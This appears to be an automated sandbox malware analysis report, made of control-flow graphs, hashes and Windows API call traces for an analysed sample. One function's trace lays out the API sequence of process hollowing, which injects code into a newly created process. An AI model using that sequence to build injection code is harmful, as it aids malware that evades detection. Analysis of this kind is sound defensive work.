                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction ID: 553189dd2a51954a2e52d1422eea3a2f37ec0f689cd9e69f6613850d03ccda66
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CD113C79A00208EFDB01DF98CA85E9DBBF5AF09350F068095FA489B361D371EA54DF80
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402EFC Relevance: .1, Instructions: 80COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 131 402efc-402f4e call 40125c 142 402f53-402f65 call 401a7a call 402808 131->142 146 402f6a-402f6c 142->146 147 402f72-402f7c call 40209c 146->147 148 403023-403024 146->148 151 402faa-402fb0 147->151 152 402f7e-402f88 call 402415 147->152 153 402fb2-402fbd 151->153 154 402fbf-402fc5 151->154 152->148 158 402f8e-402f98 call 40250d 152->158 153->154 157 402fca-403006 call 4019b2 153->157 154->157 172 40301b 157->172 173 40300c-403017 157->173 158->148 164 402f9e-402fa8 call 40217d 158->164 164->148 164->151 172->173 174 40301e call 40125c 172->174 173->174 174->148
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 67bb8cf63751cccfe82fc6d7decf1685d258dca14f9852dadef083885c7474b6
                                                                                                                                                                                                                                                                • Instruction ID: f20bad826b0d8a372e1e0c30ce6df9c241cd39d46205237d2bb76c5c610a62f0
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 67bb8cf63751cccfe82fc6d7decf1685d258dca14f9852dadef083885c7474b6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5A21C134509106E6DB11AE50CF49ABA7679AB00389F2000BBA907751D5DBFD8B12B75F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F18 Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 176 402f18-402f4e call 40125c 186 402f53-402f65 call 401a7a call 402808 176->186 190 402f6a-402f6c 186->190 191 402f72-402f7c call 40209c 190->191 192 403023-403024 190->192 195 402faa-402fb0 191->195 196 402f7e-402f88 call 402415 191->196 197 402fb2-402fbd 195->197 198 402fbf-402fc5 195->198 196->192 202 402f8e-402f98 call 40250d 196->202 197->198 201 402fca-403006 call 4019b2 197->201 198->201 216 40301b 201->216 217 40300c-403017 201->217 202->192 208 402f9e-402fa8 call 40217d 202->208 208->192 208->195 216->217 218 40301e call 40125c 216->218 217->218 218->192
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: ce7fdff1be1fc8d2c3f20a5483bfb3f5fe0047e98b3c1011f7939210cbf62ccd
                                                                                                                                                                                                                                                                • Instruction ID: 041adee9aef75e2316bb6b670afff1b527f90ee204e58dd447573d0b92929c3d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ce7fdff1be1fc8d2c3f20a5483bfb3f5fe0047e98b3c1011f7939210cbf62ccd
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 38118134509102E6DB01AB51CF4AA7A3A79AF40389F2000B7A907751E9D7FD8F12B61F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F29 Relevance: .1, Instructions: 64COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 220 402f29-402f4e call 40125c 229 402f53-402f65 call 401a7a call 402808 220->229 233 402f6a-402f6c 229->233 234 402f72-402f7c call 40209c 233->234 235 403023-403024 233->235 238 402faa-402fb0 234->238 239 402f7e-402f88 call 402415 234->239 240 402fb2-402fbd 238->240 241 402fbf-402fc5 238->241 239->235 245 402f8e-402f98 call 40250d 239->245 240->241 244 402fca-403006 call 4019b2 240->244 241->244 259 40301b 244->259 260 40300c-403017 244->260 245->235 251 402f9e-402fa8 call 40217d 245->251 251->235 251->238 259->260 261 40301e call 40125c 259->261 260->261 261->235
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 145544c442abad79373975b80346733d83506672e078b13e2075321ddbe9d07d
                                                                                                                                                                                                                                                                • Instruction ID: f6812bc7a16d5453f85d6e419c2808aa5895b26408771fa5441cdb2b17b0ed27
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 145544c442abad79373975b80346733d83506672e078b13e2075321ddbe9d07d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4D11B234509106E6DB01AB51CF4AA7A3939AF40389F2001B7A903751E9D7FD8F12B65F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F2C Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 263 402f2c-402f4e call 40125c 270 402f53-402f65 call 401a7a call 402808 263->270 274 402f6a-402f6c 270->274 275 402f72-402f7c call 40209c 274->275 276 403023-403024 274->276 279 402faa-402fb0 275->279 280 402f7e-402f88 call 402415 275->280 281 402fb2-402fbd 279->281 282 402fbf-402fc5 279->282 280->276 286 402f8e-402f98 call 40250d 280->286 281->282 285 402fca-403006 call 4019b2 281->285 282->285 300 40301b 285->300 301 40300c-403017 285->301 286->276 292 402f9e-402fa8 call 40217d 286->292 292->276 292->279 300->301 302 40301e call 40125c 300->302 301->302 302->276
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 6ec20dc86fb522cbb5040d2bd8725c0ea9dd96d50add587e39e858e60787bd1d
                                                                                                                                                                                                                                                                • Instruction ID: 01377103736002d1c38ed68da8f161fd235a71cb0d5c38c85376f85b731088ca
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6ec20dc86fb522cbb5040d2bd8725c0ea9dd96d50add587e39e858e60787bd1d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3811B634509102E6DB01EB51CF46A7A3639AF40389F2000B7A907751E5D7FD8F12B61F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F37 Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 304 402f37-402f4e call 40125c 312 402f53-402f65 call 401a7a call 402808 304->312 316 402f6a-402f6c 312->316 317 402f72-402f7c call 40209c 316->317 318 403023-403024 316->318 321 402faa-402fb0 317->321 322 402f7e-402f88 call 402415 317->322 323 402fb2-402fbd 321->323 324 402fbf-402fc5 321->324 322->318 328 402f8e-402f98 call 40250d 322->328 323->324 327 402fca-403006 call 4019b2 323->327 324->327 342 40301b 327->342 343 40300c-403017 327->343 328->318 334 402f9e-402fa8 call 40217d 328->334 334->318 334->321 342->343 344 40301e call 40125c 342->344 343->344 344->318
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 590474236437d7cba68940ae96bf26d99755d204119454bb25eef4d2ebbbcf38
                                                                                                                                                                                                                                                                • Instruction ID: 2374cc0e903918af8b1c627131c3197aeebc904de32303426b03a7cdbe5f6f16
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 590474236437d7cba68940ae96bf26d99755d204119454bb25eef4d2ebbbcf38
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 71118234509102E6DB11AB51CF4AA7A3939AF40389F2001B7A907751E9D7FD8F12B66F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F3D Relevance: .1, Instructions: 62COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 346 402f3d-402f65 call 40125c call 401a7a call 402808 353 402f6a-402f6c 346->353 354 402f72-402f7c call 40209c 353->354 355 403023-403024 353->355 358 402faa-402fb0 354->358 359 402f7e-402f88 call 402415 354->359 360 402fb2-402fbd 358->360 361 402fbf-402fc5 358->361 359->355 365 402f8e-402f98 call 40250d 359->365 360->361 364 402fca-403006 call 4019b2 360->364 361->364 379 40301b 364->379 380 40300c-403017 364->380 365->355 371 402f9e-402fa8 call 40217d 365->371 371->355 371->358 379->380 381 40301e call 40125c 379->381 380->381 381->355
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 0423c9f2e87ba31b54d1faf411b550c0f336d23c85c6f2fb85f9442445c271b0
                                                                                                                                                                                                                                                                • Instruction ID: 6cebef650bf6657e3110548d31cf98faeedf63701e0f53c1dddc98b08c538713
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0423c9f2e87ba31b54d1faf411b550c0f336d23c85c6f2fb85f9442445c271b0
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8D11C134509102E6DF01AF61CE46A6A3A39AF00389F1401BBA807B52E9D7BD8F11B65B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402F3A Relevance: .1, Instructions: 60COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 383 402f3a-402f4e call 40125c 389 402f53-402f65 call 401a7a call 402808 383->389 393 402f6a-402f6c 389->393 394 402f72-402f7c call 40209c 393->394 395 403023-403024 393->395 398 402faa-402fb0 394->398 399 402f7e-402f88 call 402415 394->399 400 402fb2-402fbd 398->400 401 402fbf-402fc5 398->401 399->395 405 402f8e-402f98 call 40250d 399->405 400->401 404 402fca-403006 call 4019b2 400->404 401->404 419 40301b 404->419 420 40300c-403017 404->420 405->395 411 402f9e-402fa8 call 40217d 405->411 411->395 411->398 419->420 421 40301e call 40125c 419->421 420->421 421->395
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443818827.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_400000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 74e64c583c92a4967282999bf225b324ef55da9bd83b3e733512bb5ee43b7ee9
                                                                                                                                                                                                                                                                • Instruction ID: af583428b11e1957336386fabc7dc9b10214098362b8ce56cdf7b8d5a31e82d3
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 74e64c583c92a4967282999bf225b324ef55da9bd83b3e733512bb5ee43b7ee9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: DF119134509106E6DF01AB51CF4AA7A3A39AF40389F2000B7A907751E9D7FD8F12B65F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 00416F60 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 214timenetworkCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetConsoleAliasesA.KERNEL32(00000000,00000000,00000000), ref: 00416F9C
                                                                                                                                                                                                                                                                • InterlockedDecrement.KERNEL32(?), ref: 00416FFA
                                                                                                                                                                                                                                                                • FindAtomW.KERNEL32(00000000), ref: 00417001
                                                                                                                                                                                                                                                                • DeviceIoControl.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 00417034
                                                                                                                                                                                                                                                                • GetComputerNameW.KERNEL32(00000000,00000000), ref: 0041703C
                                                                                                                                                                                                                                                                • SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041705D
                                                                                                                                                                                                                                                                • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00417064
                                                                                                                                                                                                                                                                • AddAtomW.KERNEL32(004259A0), ref: 0041706F
                                                                                                                                                                                                                                                                • GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 0041707E
                                                                                                                                                                                                                                                                • EnumDateFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00417087
                                                                                                                                                                                                                                                                • FatalAppExitW.KERNEL32(00000000,00000000), ref: 00417098
                                                                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,004259B0,?), ref: 004170B2
                                                                                                                                                                                                                                                                • GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004170D5
                                                                                                                                                                                                                                                                • DnsHostnameToComputerNameA.KERNEL32(004259E8,?,?), ref: 004170ED
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(00000000,00000000,?,00000000), ref: 004170FE
                                                                                                                                                                                                                                                                • TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 0041710E
                                                                                                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(00000000), ref: 00417115
                                                                                                                                                                                                                                                                • OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 0041711E
                                                                                                                                                                                                                                                                • CompareStringA.KERNEL32(00000000,00000000,004259FC,00000000,004259F4,00000000), ref: 00417132
                                                                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0041722C
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443843936.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_40b000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Directory$AliasesAtomComputerConsoleCurrentNameTime$CommCompareConfigControlCreateDateDecrementDefaultDeviceEnumEnvironmentExitFatalFindFormatsFreeHandleHostnameInfoInterlockedLengthLocalLocaleModuleOpenSpecificStringStringsSystemTimerWaitable
                                                                                                                                                                                                                                                                • String ID: tl_
                                                                                                                                                                                                                                                                • API String ID: 2857236428-2653253968
                                                                                                                                                                                                                                                                • Opcode ID: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction ID: 4add722cede9742cf76e1a2b963be5d600fbe8ad6542a85e0dea111a94a072b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 017193B1904304AFD320AF61AC85EAB77BCFB88355F41493EF64692151D6389C868F6A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417FBB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443843936.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_40b000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction ID: 82afaeb7f64d180c7b28ae2bd096279a215c28af4da0ac6246f1dd20e6f8dfff
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8117E3200414EBBCF125E84DC01CEE3F73BB1C394B19841AFA1858131C73AC9B6AB85
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:1.2%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                                                                                                                Signature Coverage:28.9%
                                                                                                                                                                                                                                                                Total number of Nodes:38
                                                                                                                                                                                                                                                                Total number of Limit Nodes:8
                                                                                                                                                                                                                                                                execution_graph 32051 2f47026 32052 2f47035 32051->32052 32055 2f477c6 32052->32055 32058 2f477e1 32055->32058 32056 2f477ea CreateToolhelp32Snapshot 32057 2f47806 Module32First 32056->32057 32056->32058 32059 2f47815 32057->32059 32060 2f4703e 32057->32060 32058->32056 32058->32057 32062 2f47485 32059->32062 32063 2f474b0 32062->32063 32064 2f474c1 VirtualAlloc 32063->32064 32065 2f474f9 32063->32065 32064->32065 32065->32065 32066 4990000 32069 4990630 32066->32069 32068 4990005 32070 499064c 32069->32070 32072 4991577 32070->32072 32075 49905b0 32072->32075 32078 49905dc 32075->32078 32076 499061e 32077 49905e2 GetFileAttributesA 32077->32078 32078->32076 32078->32077 32080 4990420 32078->32080 32081 49904f3 32080->32081 32082 49904fa 32081->32082 32083 49904ff CreateWindowExA 32081->32083 32082->32078 32083->32082 32084 4990540 PostMessageA 32083->32084 32085 499055f 32084->32085 32085->32082 32087 4990110 VirtualAlloc GetModuleFileNameA 32085->32087 32088 499017d CreateProcessA 32087->32088 32089 4990414 32087->32089 32088->32089 32091 499025f VirtualFree VirtualAlloc Wow64GetThreadContext 32088->32091 32089->32085 32091->32089 32092 49902a9 ReadProcessMemory 32091->32092 32093 49902e5 VirtualAllocEx NtWriteVirtualMemory 32092->32093 32094 49902d5 NtUnmapViewOfSection 32092->32094 32095 499033b 32093->32095 32094->32093 32096 499039d WriteProcessMemory Wow64SetThreadContext ResumeThread 32095->32096 32097 4990350 NtWriteVirtualMemory 32095->32097 32098 49903fb ExitProcess 32096->32098 32097->32095

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 04990110 Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04990156
                                                                                                                                                                                                                                                                • GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0499016C
                                                                                                                                                                                                                                                                • CreateProcessA.KERNELBASE(?,00000000), ref: 04990255
                                                                                                                                                                                                                                                                • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04990270
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04990283
                                                                                                                                                                                                                                                                • Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0499029F
                                                                                                                                                                                                                                                                • ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 049902C8
                                                                                                                                                                                                                                                                • NtUnmapViewOfSection.NTDLL(00000000,?), ref: 049902E3
                                                                                                                                                                                                                                                                • VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04990304
                                                                                                                                                                                                                                                                • NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0499032A
                                                                                                                                                                                                                                                                • NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04990399
                                                                                                                                                                                                                                                                • WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 049903BF
                                                                                                                                                                                                                                                                • Wow64SetThreadContext.KERNEL32(00000000,?), ref: 049903E1
                                                                                                                                                                                                                                                                • ResumeThread.KERNELBASE(00000000), ref: 049903ED
                                                                                                                                                                                                                                                                • ExitProcess.KERNEL32(00000000), ref: 04990412
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 93872480-0
                                                                                                                                                                                                                                                                • Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
                                                                                                                                                                                                                                                                • Instruction ID: a7daf9af56d615572694020a01edba160e57cde02edd25aa80b42e060c1af60f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B3B1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04990420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 15 4990420-49904f8 17 49904fa 15->17 18 49904ff-499053c CreateWindowExA 15->18 19 49905aa-49905ad 17->19 20 499053e 18->20 21 4990540-4990558 PostMessageA 18->21 20->19 22 499055f-4990563 21->22 22->19 23 4990565-4990579 22->23 23->19 25 499057b-4990582 23->25 26 49905a8 25->26 27 4990584-4990588 25->27 26->22 27->26 28 499058a-4990591 27->28 28->26 29 4990593-4990597 call 4990110 28->29 31 499059c-49905a5 29->31 31->26
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04990533
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateWindow
                                                                                                                                                                                                                                                                • String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
                                                                                                                                                                                                                                                                • API String ID: 716092398-2341455598
                                                                                                                                                                                                                                                                • Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
                                                                                                                                                                                                                                                                • Instruction ID: 6b35ac91cae1a2abd61c274b409247b8737d8e38cbde3686edc11395cdac0533
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: FE510970D08388DAEF11CB98C849BDDBFF66F15708F144058D5446F286D3BA6A58CB66
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049905B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 32 49905b0-49905d5 33 49905dc-49905e0 32->33 34 499061e-4990621 33->34 35 49905e2-49905f5 GetFileAttributesA 33->35 36 4990613-499061c 35->36 37 49905f7-49905fe 35->37 36->33 37->36 38 4990600-499060b call 4990420 37->38 40 4990610 38->40 40->36
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetFileAttributesA.KERNELBASE(apfHQ), ref: 049905EC
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
